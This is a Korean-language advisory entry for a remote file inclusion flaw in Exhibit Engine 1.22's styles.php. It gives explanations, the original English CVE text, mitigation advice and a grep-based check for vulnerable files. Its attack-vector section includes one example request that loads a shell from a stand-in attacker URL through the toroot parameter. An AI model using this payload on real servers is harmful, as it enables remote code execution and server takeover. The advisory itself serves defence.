🇰🇷 한글 설명
Exhibit Engine 1.22 이전 버전의 styles.php에서 toroot 파라미터를 통한 원격 파일 포함(RFI) 취약점으로, 공격자가 임의의 PHP 코드를 실행할 수 있습니다. 입력 검증 부재로 인해 원격 서버의 악성 파일을 로드하고 실행 가능합니다.
💡 쉬운 설명
웹사이트의 스타일 설정 파일이 공격자가 조작한 파일 경로를 받아 악의적인 원격 파일을 로드합니다. 이를 통해 공격자가 서버에서 자신의 코드를 실행하여 서버를 완전히 장악할 수 있습니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in styles.php in Exhibit Engine (EE) 1.22 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the toroot parameter.
📍 영향받는 시스템
Exhibit Engine (EE) 1.22 및 그 이전 모든 버전
⚔️ 공격 벡터
GET/POST 요청으로 toroot 파라미터에 악성 원격 URL 주입 (예: styles.php?toroot=http://attacker.com/shell.php)
🛡️ 대응 방법
Exhibit Engine을 1.23 이후 패치 버전으로 즉시 업그레이드하거나 styles.php의 toroot 파라미터에 대한 엄격한 입력 검증 구현
🔧 검증 코드
명령 결과로 styles.php 파일 발견 시 해당 파일의 toroot 파라미터 처리 로직을 분석하여 입력 검증 또는 화이트리스트 필터 적용 여부 확인
find /var/www -name 'styles.php' 2>/dev/null | xargs grep -l 'toroot' 2>/dev/null